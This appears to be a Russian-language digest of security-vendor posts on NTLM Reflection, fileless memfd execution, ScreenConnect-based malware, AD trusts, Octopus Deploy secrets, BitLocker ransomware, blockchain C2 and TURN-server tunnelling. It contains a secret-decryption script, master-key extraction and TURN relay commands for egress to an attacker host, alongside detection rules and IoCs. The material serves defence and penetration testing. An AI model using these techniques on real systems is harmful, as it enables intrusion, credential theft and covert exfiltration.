Сегодня снова поговорим про атаку NTLM Reflection на основе уязвимости CVE-2025-33073, которая позволяет удалённому пользователю без авторизации выполнять на атакованной машине любые команды с привилегиями SYSTEM. Однажды мы уже рассказывали, как детектировать подобные атаки. А теперь покажем, как можно использовать один частный случай такой атаки в пентестах.

Обычно все Relay-атаки связаны только с хостами и сервисами в домене Active Directory. Ведь если хост не в домене, то у него нет учетных данных, а пользователи — локальные. При попытке coerce-атаки в Responder мы не увидим ничего, а в ntlmrelayx.py — сообщение вроде:

Authenticating against smb://172.16.128.143 as / FAILED

Но ситуация на одном недавнем проекте по анализу защищённости подтолкнула нас к мысли, что NTLM Reflection может быть способом скомпрометировать недоменный Windows-хост при определенных условиях:

1. Не установлен патч, закрывающий эту уязвимость.

2. Не требуется обязательная подпись SMB.

3. Есть возможность добавить или заспуфить необходимую для атаки DNS-запись (например, localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA). Зачастую в качестве DNS-серверов во всей инфраструктуре используются контроллеры домена. По умолчанию, имея любую учетную запись, можно добавить нужную A-запись. Если же хост атакующего находится в одном L2-сегменте сети с уязвимым хостом, то можно попробовать LLMNR/NBNS/mDNS spoofing (как на скриншоте выше), атаку на IPv6 с подменой DNS.

4. Возможность стригерить аутентификацию от имени системы. Например, есть анонимный PetitPotam или есть непривилегированная учетная запись.

Хоть условий и много, они выполнимы — и в этом случае NTLM Reflection может помочь получить доступ к хосту вне домена.

В конце 2024 года мы опубликовали топ-5 самых популярных ошибок при реагировании на инциденты. Третьим номером там стояло «поспешное восстановление из бэкапов» — если резервная копия была заражена, при восстановлении вы рискуете повторить инцидент (например, вас снова зашифруют).

Теперь у нас есть некоторые цифры, чтобы подтвердить популярность этой ошибки — поскольку эксперты нашего сервиса по оценке компрометации (Compromise Assessment) подготовили аналитический отчёт о пропущенных инцидентах, которые выявлены в 2025 году после обращений в этот сервис.

Одна из самых частых угроз, найденных таким способом — это скрытые веб-шеллы: они встречались в 8% проектов по оценке компрометации. При этом 64% инцидентов с веб-шеллами были отнесены к категории высокой критичности.

А закрепление веб-шеллов в системе часто происходит через бэкапы: согласно отчёту, 60% веб-шеллов было обнаружено в активных системах, а 40% находились в резервных копиях и оставались незамеченными до проведения полноценной проверки.

Распространенная проблема, помогающая скрывать угрозу — недочеты в инвентаризации активов (найдено в 25% проектов). Злоумышленники могут внедрять веб-шеллы на облачные серверы, которые не отражаются в инвентарных списках, но при этом с них регулярно делаются резервные копии. Веб-шелл может длительное время оставаться на таком сервере, и даже если он будет в какой-то момент удален, сервер резервного копирования позднее восстановит зараженные файлы.

В одном случае веб-шелл был скрыт на внутреннем файловом сервере внутри RAR-архива по следующему пути:

D:\backup\[СКРЫТО].rar/wwwroot/<…>/[СКРЫТО].aspx

В ходе расследования админы сервера сообщили, что папка была скопирована с другого сервера, который был отключен на момент проведения проверки. Из-за неполной инвентаризации активов штатная команда безопасности не обнаружила заражение отключенной машины, а после выполнения процедур резервного копирования веб-шелл оказался на внутреннем файловом сервере.

Криминалистический анализ отключенного сервера показал, что злоумышленникам удалось внедрить бэкдор на большинстве Windows-серверов в этой организации, настроив на них учетные записи локального администратора с одинаковым паролем. С помощью утилиты PsExec злоумышленники выполнили CMD-скрипт, который на всех этих серверах изменял пароль учетной записи локального админа на свой (см. скриншот выше).

Другие примеры незаметных инцидентов, а также рекомендации по их выявлению и предотвращению, будут представлены на вебинаре Missed Incidents: Compromise Assessment Insights, который проведут наши эксперты Виктор Сергеев и Амжед Ваги 2 июля в 17 часов МСК на платформе Brighttalk:
https://www.brighttalk.com/webcast/15591/669960

Злоумышленники, атакующие Linux-системы, часто используют "бесфайловое" выполнение, чтобы избежать загрузки вредоносного ПО на диск. Это помогает обойти традиционные системы детектирования и механизмы безопасности, а также оставляет значительно меньше следов для форензики.

Системный вызов memfd_create() играет важную роль в таких атаках. Этот механизм, появившийся в ядре Linux 3.17, предназначен для создания анонимных файлов, которые существуют только в оперативной памяти. Согласно руководству memfd_create(2), эти файлы ведут себя как обычные файлы — у них есть размер и отображение в памяти, их можно изменять — но они не сохраняются на физическом носителе. Вызов memfd_create() возвращает файловый дескриптор, который может быть использован вызовом fexecve(3) — это позволяет процессу выполнять бинарный файл через файловый дескриптор (FD), в отличие от вызова execve(2), где в качестве аргумента требуется путь в реальной файловой системе.

Типичная цепочка эксплуатации этого механизма состоит из трёх этапов:

1. Загрузчик вызывает memfd_create(name, flags), этот вызов возвращает файловый дескриптор. Имя (name) здесь нужно только для отладки, оно не появляется в дереве каталогов.

2. Загрузчик записывает вредоносную нагрузку (часто полученную по сети) в этот FD.

3. Загрузчик вызывает fexecve(fd, argv, envp). Ядро заменяет текущий образ процесса бинарным файлом, хранящимся в анонимном сегменте памяти.

Такой подход гарантирует, что вредоносная нагрузка не попадает на диск, и таким образом она обходит:

— системы детектирования на основе сигнатур, которые сканируют диск;
— запрет на выполнение: во многих системах каталоги с правами на запись для всех (такие, как /tmp или /dev/shm) монтируют с флагом noexec, поскольку такие каталоги часто используются злоумышленниками для выполнения вредоносного ПО.

Пример атаки:

Рассмотрим каталог, который смонтирован с флагом noexec. Попытка выполнить бинарный файл id из этой точки монтирования не сработает, даже если он запускается с высшими привилегиями и сам бинарный файл является исполняемым (см. верхний скриншот).

Это ограничение можно обойти, если бинарный файл загружен в оперативную память и выполнен напрямую из памяти. Для демонстрации мы создали веб-сервер, который хостит бинарный файл id (он может быть вредоносным в реальных атаках), и написали простой скрипт на Python, который скачивает этот бинарный файл, загружает его в память и выполняет его в памяти, обходя все защиты.

Результат можно увидеть на скриншоте (нижняя часть). Обратите внимание, что системный вызов 319 — это и есть memfd_create().

Детектирование:

Хотя файла нет на диске, ядро Linux показывает метаданные о запущенных процессах. Нужно смотреть:

— Пути в файловой системе /proc. Даже анонимные файлы отслеживаются в таких метаданных. /proc/[PID]/exe обычно указывает на путь бинарного файла, такой как /usr/bin/python3. Процесс memfd будет указывать на виртуальный путь, часто помеченный как memfd: (deleted).

— Карты памяти (memory maps). Анализ /proc/[PID]/maps или smaps показывает следы атаки. Ищите сегменты памяти с правами на выполнение (r-xp), которые сопоставлены с объектом memfd, а не с общедоступной библиотекой или известным бинарным файлом на диске.

В одном из инцидентов у клиента нашего сервиса MDR мы обнаружили, что инструмент удаленного доступа ScreenConnect использовался для установки и запуска вредоносного модуля AsyncRAT. Более детальное расследование выявило масштабную инфраструктуру для распространения скрытого установщика этого ПО с целью массовой кражи учетных данных.

На поддельных веб‑ресурсах, которые с помощью поисковой оптимизации выводятся в первые строки выдачи поисковиков, распространяются архивы‑установщики, замаскированные под популярные программы — OBS Studio, DNS Jumper, DS4Windows, Bandicam, Glary Utilities, Process Hacker, Crosshair X и др. Всего обнаружено более 90 таких сайтов на 10 языках (см. пример на скриншоте выше).

Внутри архива содержится подписанный Microsoft легитимный файл install.exe, переименованный под установщик популярного софта (например, OBS Studio), а также вредоносная библиотека install.res.1033.dll. Эта библиотека загружается на устройство при помощи техники DLL Sideloading и разворачивает сервис ScreenConnect, ожидающий дальнейших инструкций от злоумышленников. Во многих корпоративных сетях подобные инструменты удаленного доступа находятся в списке разрешенного ПО и обладают повышенными привилегиями, что очень помогает атакующим.

Как ловить атаку:

1. Отслеживайте создание сервиса ScreenConnect с подозрительными параметрами:

 
logsource:                      
    product: windows         
    category: security
detection:
    selection_access:
        EventID: 4697
        Service File Name|contains:
            - 'e=Access'
            - 'ClientService.exe'
    selection_support:
        EventID: 4697
        Service File Name|contains:
            - 'e=Support'
            - 'ClientService.exe'
    condition: selection_access or selection_support

2. Отслеживайте запуск нетипичных дочерних процессов от сервиса ScreenConnect:

logsource:
    product: windows
    category: process_creation
detection:
    selection:
        ParentImage|endswith:
            - '\\ScreenConnect.ClientService.exe'
            - '\\ScreenConnect.WindowsClient.exe'
            - '\\ScreenConnect.WindowsBackstageShell.exe'
            - '\\ScreenConnect.WindowsFileManager.exe'
        Image|endswith:
            - '\\powershell.exe'
            - '\\cmd.exe'
            - '\\net.exe'
            - '\\schtasks.exe'
            - '\\sc.exe'
            - '\\msiexec.exe'
            - '\\mshta.exe'
            - '\\rundll32.exe'
    condition: selection

В качестве общих профилактических мер рекомендуется внедрить строгий контроль за установкой программ, отслеживать появление новых сервисов удаленного администрирования и соответствующих задач планировщика, проверять подлинность источников ПО и обучать пользователей не скачивать что попало.

Подробности расследования этой масштабной атаки, а также индикаторы компрометации и дополнительные советы по детектированию — в статье Дениса Кулика "ScreenConnect под маской бесплатных программ".

Искусственный интеллект проникает повсеместно, поэтому в ближайшие годы LLM-агенты будут всё чаще упоминаться как "активные участники" в различных отчётах об инцидентах.

Такой пример есть и в опубликованном сегодня отчёте экспертов нашего сервиса по поиску компрометации (Compromise Assessment). Отчёт посвящен инцидентам, которые оставались незамеченными на протяжении нескольких недель, месяцев и даже лет, и были выявлены только в 2025 году после обращений в этот сервис.

Одна из популярных причин таких пропущенных инцидентов (24% случаев) — отсутствие продуманных и задокументированных политик безопасности и правил обработки данных. Это происходит в том числе и при разработке ПО с помощью генеративного ИИ.

В ходе одного из проектов была найдена рабочая станция на базе macOS, где ассистент Claude Code с интерфейсом командной строки использовался как расширение VS Code. Инструмент автоматически делал снапшоты файловой системы для обогащения промптов языковой модели. Командная строка родительского процесса выглядела так:

/bin/zsh -c -l source /Users/[СКРЫТО]/.claude/shell-snapshots/snapshot-zsh-[СКРЫТО].sh && eval 'ls -lh "/Users/[СКРЫТО]/Documents/[СКРЫТО]/"*.xlsx' \\< /dev/null && pwd -P >| /var/folders/[СКРЫТО]/claude-[СКРЫТО]

Собираемые ассистентом материалы включали полные списки каталогов и абсолютные пути к нескольким рабочим книгам Excel, содержащим конфиденциальные внутренние данные:

ls -lh /Users/[СКРЫТО]/Documents/[СКРЫТО].xlsx /Users/[СКРЫТО]/Documents/[СКРЫТО].xlsx /Users/[СКРЫТО]/Documents/[СКРЫТО].xlsx .. [СКРЫТО]

Наши эксперты рекомендовали организации провести для сотрудников ряд обучающих сессий, направленных на повышение осведомленности о рисках раскрытия конфиденциальной информации при использовании генеративного ИИ, а также разработать политику, регулирующую применение таких инструментов при работе с чувствительными данными.

Больше примеров пропущенных инцидентов, а также рекомендации по их выявлению и предотвращению, смотрите в полной версии отчёта "Незамеченные инциденты, устойчивые угрозы и проблемы реагирования".

А что касается слишком самостоятельных ИИ-ассистентов на корпоративных устройствах — у нас есть пособие по их детектированию и отключению: часть 1, часть 2, часть 3. Ту же тему обсуждаем в новом выпуске подкаста "Смени пароль".

В большинстве корпоративных инфраструктур для управления хостами и пользователями применяется Active Directory. И зачастую это не один домен и даже не один лес. В некоторых случаях это усложняет получение доступа к нужным сервисам во время проектов по анализу защищённости.

А иногда, наоборот, это облегчает повышение привилегий и компрометацию доменов — за счёт того, что между доменами в AD установлены доверительные отношения (трасты), позволяющие пользователям и объектам из одного домена получать доступ к ресурсам в другом домене.

Как добыть информацию о трастах? Один из самых удобных способов — получить TDO (Trusted Domain Object) из LDAP с фильтром objectClass=trustedDomain. Можно использовать ldapsearch или запрос 6 в LDAPPER (параметр -s 6):

ldapsearch -x -H ldap://172.16.128.148 -D "user01@domain.local" -w 'P@ssw0rd' -b "dc=domain,dc=local" -s sub  "(objectClass=trustedDomain)"

А дальше нужно разобраться с атрибутами и параметрами, которые будут видны в полученном TDO — это подсказывает, какие атаки могут быть успешны.

Например, если домен domain2.test доверяет домену domain.local и не настроена Selective authentication (флаг TRUST_ATTRIBUTE_CROSS_ORGANIZATION), учетные записи пользователей и компьютеров из domain.local будут AUTHENTICATED USERS в domain2.test. Это позволяет проводить типовые атаки на Active Directory — в частности, имея ученую запись пользователя в domain.local, в домене domain2.test можно прочитать SYSVOL, выполнить Kerberoasting или добавить учетную запись компьютера (см. скриншот).

Подробнее о том, какими способами можно получать информацию о трастах, на какие параметры стоит обращать внимание и какие ещё атаки можно использовать для получения привилегий, читайте в статье нашего эксперта Ирины Беляевой "Атаки на доверие: как использовать трасты в Active Directory".

Octopus Deploy — один из популярных инструментов для автоматизации развертывания приложений и управления CI/CD-процессами. Внутри себя Octopus может оркестрировать пайплайны, следить за релизами, развертывать приложения и хранить конфигурации и секреты для деплоя.

При этом злоумышленники могут добыть ценные данные из Octopus, даже если у них нет доступа к веб-версии инструмента. Все конфигурационные секреты Octopus хранит в отдельной базе данных, дополнительно шифруя их с помощью AES. Если злоумышленник получит доступ к системе, на которой развернут Octopus (с помощью дефолтных учетных данных или любой серверной уязвимости) — он может получить доступ к мастер-ключу, на котором шифруется база данных:

C:\Program Files\Octopus Deploy\Octopus\Octopus.Server show-master-key

Далее ему нужно будет получить доступ к базе, где хранятся данные от Octopus — и, с учетом нахождения ключа AES, расшифровать их. Самые интересные данные лежат в следующих таблицах:

dbo.Project — список проектов,
dbo.Machine — список машин внутри кубера или другой системы,
dbo.VariableSet — список переменных,
dbo.Proxy — настройки прокcи,
dbo.Account — список пользователей для управления CI/CD,
dbo.User — список внутренних пользователей Octopus.

Декодирование ключей из Octopus можно сделать вот так:

import sys
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
 
# Check for input argument
if len(sys.argv) < 3:
    print("Usage: python decrypt.py <master_key> <encoded_variable>")
    sys.exit(1)
 
# Get master key from first CLI argument
base64_key = sys.argv[1]
 
# Get encoded_variable from second CLI argument
encoded_variable = sys.argv[2]
 
# Split encoded_variable into parts
cipher_data_b64, cipher_salt_b64 = encoded_variable.split('|')
 
# Decode from Base64
cipher_data = base64.b64decode(cipher_data_b64)
cipher_salt = base64.b64decode(cipher_salt_b64)
cipher_key = base64.b64decode(base64_key)
 
# AES decryption setup
cipher = AES.new(cipher_key, AES.MODE_CBC, iv=cipher_salt)
decrypted = cipher.decrypt(cipher_data)
 
# Unpad decrypted data
decrypted_value = unpad(decrypted, AES.block_size).decode('utf-8')

Как защищаться?

Со стороны Octopus.Server:

— разрешить доступ к управляющим портам сервера с Octopus только с выделенных IP-адресов,
— отслеживать запуск утилиты Octopus.Server,
— использовать для запуска сервиса только разрешенные gMSA учетные записи.

Со стороны базы данных:

— разрешить соединения с БД только со стороны сервера Octopus,
— логировать любые SELECT/UPDATE в критичных таблицах,
— настроить алерты на изменение данных или создание новых пользователей внутри БД.

Мы уже рассказывали, что вымогатели всё чаще применяют для шифрования своих жертв тот самый BitlLocker, который легально предустановлен на компьютерах этих жертв — так что атакующим даже не нужно создавать и загружать собственную программу для шифрования. А новое расследование наших экспертов в Латинской Америке показывает, как именно злоумышленники берут под контроль этот инструмент.

Один из инцидентов произошел в Колумбии. Злоумышленники воспользовались доступной из Интернета службой удаленного доступа RDP с дополнительными открытыми портами на сервере, подключенном к хранилищу с критически важными данными. Это позволило получить контроль над системой, изменить учетные данные пользователей и запустить шифрование с помощью BitLocker.

В другом инциденте, в Мексике, атакующие получили первоначальный доступ к инфраструктуре через Microsoft SQL Server. Из кода, опубликованного на GitHub с нарушением требований безопасности, атакующие извлекли учетные данные для доступа к базе данных. А некорректная настройка MSSQL-сервера позволила с этими же учетками выполнять команды операционной системы через расширенную хранимую процедуру xp_cmdshell. В итоге стало возможно выполнять произвольные команды не только на самом сервере, но и на доступных с него узлах локальной инфраструктуры.

Мораль: хотя само шифрование с помощью BitLocker поймать непросто (это легитимная компонента Windows, её активность не блокируется антивирусами), однако в обоих случаях был простой способ устранить возможность для первоначального доступа атакующих.

В первом инциденте это — ограничение публичного доступа к RDP.

Во втором — контроль данных, размещаемых на GitHub, а также правильная настройка сервера MSSQL.

Подробности расследования этих инцидентов — в статье Эдуардо Овалье «Новый подход вымогателей: офисные принтеры, небольшие суммы выкупа и BitLocker».

Использование злоумышленниками блокчейна для передачи адресов командных центров (C2) постепенно становится не экзотикой, а рабочей техникой обхода блокировок. Согласно нашей телеметрии, вредоносы группировки HeartlessSoul с начала июня начали обращаться к блокчейн-платформе BNB Smart Chain для получения актуальных адресов C2.

Обфусцированный JavaScript-загрузчик обращался к данным транзакции в блокчейне, извлекал из них адреса C2 и продолжал выполнение цепочки заражения. Если получить данные не удавалось, использовался резервный C2-домен, захардкоженный в коде. Ранее для этой же цели атакующие использовали блокчейн Solana.

Главная ценность такой техники для атакующих — не анонимность блокчейна, а возможность хранить и обновлять C2 на инфраструктуре, которую сложно заблокировать без риска нарушить работу легитимных сервисов.

Первоначальный вектор атак группировки не изменился: HeartlessSoul продолжает распространять вредоносные MSI/XLL/LNK-файлы через фишинговые письма и мессенджер Telegram (ниже приведены примеры используемых приманок).

Затем, используя команду Powershell, вредоносный файл загружает на систему жертвы JavaScript-загрузчик, который в свою очередь загружает с C2-сервера и выполняет в памяти дополнительные модули для кражи данных и эксфильтрации.

Detection & Threat Hunting

APT-группировки используют блокчейн не только для скрытной передачи C2-адресов, но и для хранения и доставки вредоносной нагрузки (техника EtherHiding, которую использует, например, группировка UNC5342). Оба сценария уже стоит учитывать при построении процессов выявления угроз.

Один из вариантов детектирования — мониторинг обращений к легитимным сервисам блокчейн-инфраструктуры, особенно если такие подключения инициируются офисными приложениями, скриптовыми интерпретаторами или другими нетипичными процессами. Например, в активности HeartlessSoul были замечены обращения к следующим ресурсам:

api.mainnet-beta.solana.com
bsc-rpc.publicnode.com

Мониторинг обращений к API блокчейн-эксплореров и RPC-нодам различных провайдеров (например, bsc-testnet-rpc.publicnode.com, ethereum-rpc.publicnode.com, ethereum-sepolia-rpc.publicnode.com, api.bscscan.com, api.testnet.solana.com, bsc.meowrpc.com, bsc-dataseed.binance.org и др.) может помочь выявить нетипичную активность, особенно если такие соединения инициируются msiexec.exe, wscript.exe, cscript.exe, powershell.exe, node.exe, rundll32.exe или офисными приложениями.

IoCs, связанные с последней активностью HeartlessSoul:

Имена файлов-приманок:

акт передачи 08.07.2026.docx.lnk
сброс мавик 3.0.stl.lnk
ведомость.docx.lnk
Пояснение письменно.xll
Пояснение.xll
Пример пояснение.xll
Technical Overview Технический профиль.xll

Домены С2:

healthydefinitetrunk[.]com
habitsunrisenatureknee[.]com
themostbeautifulspark[.]com

Когда в проектах по анализу защищённости мы получаем RCE и пробиваем внешний периметр, возникает вопрос — есть ли на пробитом хосте выход в Интернет? Если есть, мы сможем установить быстрый канал с C2-сервером, настроить SOCKS-прокси для других тулов и продолжать работы. Но хост может оказаться глубоко в локальной сети, а доступ в Интернет — сильно порезан.

И тут полезно проверить, есть ли у заказчика специальный хост-ретранслятор для видеоконференций (ВКС) на внешнем периметре. Такие хосты называются TURN-серверами и используются для связи абонентов, которые не имеют прямой видимости, то есть находятся за NAT-ом. Но злоумышленники могут использовать такой сервер для своих целей.

Как это работает:

В WebRTC-звонках есть несколько важных сущностей.

— Signal plane: канал, через который клиенты получают параметры звонка, адреса TURN-серверов и креды;

— ICE (Interactive Connectivity Establishment): механизм, который определяет, как пирам установить наибыстрейшее соединение;

— Host candidate: пиры видят друг друга в локальной сети;

— Reflexive/STUN: пиры за NAT, но достижимы через внешний адрес;

— TURN: трафик идёт через промежуточный relay-сервер.

Если прямая связь невозможна из-за NAT/firewall, клиент отправляет на TURN запрос Allocate Request, передаёт креды и получает relay-адрес. Дальше данные идут через Send Indication или ChannelData.

Сетевой администратор может открыть доступ из внутренней сети до TURN-сервера как раз для этого, чтобы сотрудники могли пользоваться видеоконференциями. Однако у TURN-серверов есть фича перенаправления трафика, и она может быть использована для проксирования трафика куда угодно, в том числе и на наш C2.

Условия эксплуатации:

— есть RCE/foothold на внутреннем хосте;
— с него доступен TURN-сервер;
— TURN-сервер находится на внешнем периметре (виден из Интернета);
— известны turn_user / turn_pass;
— TURN разрешает relay на внешний white_ip:port.

Наличие TURN-сервера мы определяем на этапе разведки. Чтобы проверить TURN на внешнем периметре, можно использовать stunner:

stunner info -turnserver <ip>:<port>

Если TURN настроен с аутентификацией (как правило, это так), нужно подключиться к ВКС и получить логин/пароль доступа к TURN из signal plane. Затем можно проверить возможность ретрансляции на внешние адреса:

turnutils_uclient -n 1 -I -c \
  -u <turn_user> \
  -w <turn_pass> \
  -e <white_ip> \
  -r <port> \
  -p <turn_port> \
  <turn_ip>

Если вы видите трафик на white_ip:port от TURN-сервера, значит, проксирование возможно. Поэтому идём дальше:

— используем креды, полученные через signal plane,
— с пробитого хоста отправляем Allocate Request на TURN,
— в качестве destination указываем свой внешний хост, и
— TURN начинает ретранслировать трафик наружу.

Плюс такого метода: получаем дополнительный канал egress, когда прямой Интернет или корпоративная прокси недоступны.

Минусы: скорость ниже, чем у SOCKS/proxy; TURN-креды имеют срок действия; после expiration date нужно заново поднимать канал.

Как ловить атаку:

Мониторить исходящий трафик с TURN-сервера. Если TURN ходит на неизвестные внешние IP, если есть пакеты ChannelData и Send Indication не в сторону вашей инфры — это верный признак того, что кто-то проксируется через ваш TURN.

Как реагировать:

— проверить, какие внутренние хосты инициировали Allocate Request;
— сопоставить время активности с реальными ВКС-сессиями;
— найти внешний white_ip, куда TURN ретранслировал трафик;
— отозвать/обновить TURN-креды;
— ограничить relay только на ожидаемые направления;
— проверить пробитый хост на RCE/foothold.

А ещё полезно запретить анонимные звонки в вашей ВКС. Это усложнит жизнь злоумышленнику: в таком случае ему ещё надо найти креды от звонка, а уже потом по signal plane получить TURN-креды.

В прошлом году, согласно отчёту наших команд MDR и IR, значительно выросло число инцидентов высокой и средней критичности в сфере образования, что указывает на рост системных проблем в этой сфере. До нового учебного года осталось меньше месяца — самое время подсветить эти проблемы.

Зачем злоумышленники атакуют образовательные организации? В государственных школах и университетах можно поживиться персональными данными, которые затем используются для фишинга и других видов мошенничества. А в частных школах самые частые критические инциденты — это шифрование с последующим вымогательством.

Такие наблюдения сделали эксперты нашего глобального центра по реагированию (GERT) на основе анализа инцидентов, которые произошли за прошедший год в образовательных организациях Бразилии. Однако выводы и рекомендации этого исследования вполне применимы и для других стран. В частности:

— В атаках на образовательные организации почти не встречаются сложные техники. Чаще всего первоначальный доступ происходит через украденные аккаунты, после чего злоумышленники повышают права (Potatoes) и ходят по школьным сетям с использованием легальных инструментов (PsExec, AnyDesk). Для предотвращения угона аккаунтов рекомендуется использовать мультифакторную авторизацию, а также регулярно проводить аудит привилегированных аккаунтов и сокращать избыточные права.

— В школах и вузах часто используется устаревший софт. Например, в инфраструктуре некоторых наших клиентов из сферы образования встречался Windows Server 2016 без патчей, а также операционка Windows 10, поддержка которой уже прекращена. Понятно, что здесь основная мера профилактики — своевременное обновление.

— Самые популярные семейства шифровальщиков, атакующих сферу образования — это DragonForce и LockBit 3. И как уже сказано, вымогатели особенно любят частные школы, которые кажутся достаточно богатыми, чтобы заплатить выкуп. Таким школам особенно рекомендуется озаботиться выработкой стратегии резервного копирования и восстановления данных.

Более подробные примеры атак на школы и вузы, а также дополнительные рекомендации по защите — в статье нашего эксперта Кристиана Сузы "An analysis of incidents at Brazilian educational institutions".

Расследуя атаки хакерской группировки год за годом, можно наблюдать, как эволюционирует эта угроза. Один из признаков её развития — переход от использования чужих вредоносных инструментов к собственным разработкам.

Группировка Labooboo (Toy Ghouls, Bearlyfy), атакующая российские организации с 2025 года, изначально использовала сторонние шифровальщики RedAlert, LockBit и Babuk, но в марте 2026 года перешла на собственный шифровальщик GenieLocker.

А недавно наши эксперты обнаружили, что в арсенале этой группы появился свой бэкдор, который позволяет выполнять произвольные команды. Бэкдор существует как минимум в двух вариациях, использующих для связи с С2 протоколы MQTT и Matrix.

В реализации с MQTT (MD5: BFADBEEE63A4F0BF19EC9DEB8FA58F58) в качестве брокера указан broker.hivemq.com:8883. Обмен сообщениями осуществляется через топики _id_/cmd/req, _id_/cmd/res, _id_/metrics3 и _id_/status для получения команд, отправки результатов их выполнения, метрик и состояния бэкдора, соответственно.

В реализации с Matrix (MD5: 7916C33688385525078BEE504C90F359) вредонос подключается к определенной комнате на публичном сервере meet.element.tw и выполняет команды из сообщений, начинающихся c cmd. Результаты выполнения команд, метрики и статусы публикуются в виде сообщений в комнате.

Выявленные образцы добавлены в антивирусные базы. Продолжаем следить за Лабубой. Детальное описание обнаруженных бэкдоров опубликуем позже.